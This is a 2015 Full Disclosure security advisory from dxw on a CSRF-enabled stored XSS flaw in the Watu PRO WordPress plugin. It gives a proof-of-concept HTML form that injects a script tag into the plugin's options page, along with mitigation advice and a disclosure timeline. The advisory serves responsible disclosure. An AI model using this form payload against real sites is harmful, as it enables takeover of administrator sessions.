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Message-ID: <f50f5955d90b3910a528774b8f6977b3@security.dxw.com> Date: Tue, 1 Sep 2015 15:17:54 +0000 From: dxw Security <security@....com> To: fulldisclosure@...lists.org Subject: [FD] Stored XSS in Watu PRO allows unauthenticated attackers to do almost anything an admin can (WordPress plugin) Details ================ Software: Watu PRO Version: 4.8.8.4 Homepage: http://calendarscripts.info/watupro/ Advisory report: https://security.dxw.com/advisories/stored-xss-in-watu-pro-allows-unauthenticated-attackers-to-do-almost-anything-an-admin-can/ CVE: Awaiting assignment CVSS: 5.8 (Medium; AV:N/AC:M/Au:N/C:P/I:P/A:N) Description ================ Stored XSS in Watu PRO allows unauthenticated attackers to do almost anything an admin can Vulnerability ================ An attacker able to convince an admin to visit a link of their choosing (e.g. through phishing) is able to execute arbitrary JavaScript. This makes use of a CSRF vulnerability (no nonce protection on the options form) Proof of concept ================ If a logged-in administrator user clicks the submit button on this form, a JavaScript alert will display on /wp-admin/admin.php?page=watupro_options (in a real attack the form can be made to auto-submit using JavaScript): <form action=\"http://localhost/wp-admin/admin.php?page=watupro_options\" method=\"POST\"> <input type=\"text\" name=\"upload_file_types\" value=\""><script>alert(1)</script>\"> <input type=\"text\" name=\"save_ajax_settings\" value=\"Save Ajax Related Settings\"> <input type=\"submit\"> </form> Mitigations ================ This issue has been discussed with the author, who disagrees that there is an exploitable issue. We maintain that the above proof of concept demonstrates this issue. Nonetheless, the author has told us that they have made changes to address the problem in version 4.9.0.8 of this plugin. We have not verified these changes, so our recommendation is to upgrade to version 4.9.0.8 or later, and ideally conduct your own security assessment of this plugin. Disclosure policy ================ dxw believes in responsible disclosure. Your attention is drawn to our disclosure policy: https://security.dxw.com/disclosure/ Please contact us on security@....com to acknowledge this report if you received it via a third party (for example, plugins@...dpress.org) as they generally cannot communicate with us on your behalf. This vulnerability will be published if we do not receive a response to this report with 14 days. Timeline ================ 2015-08-11: Discovered 2015-08-11: Reported to Author via email 2015-08-11: Author responded 2015-08-26: Author reported fixed in version 4.9.0.8 2015-09-01: Published Discovered by dxw: ================ Tom Adams Please visit security.dxw.com for more information. _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: http://seclists.org/fulldisclosure/
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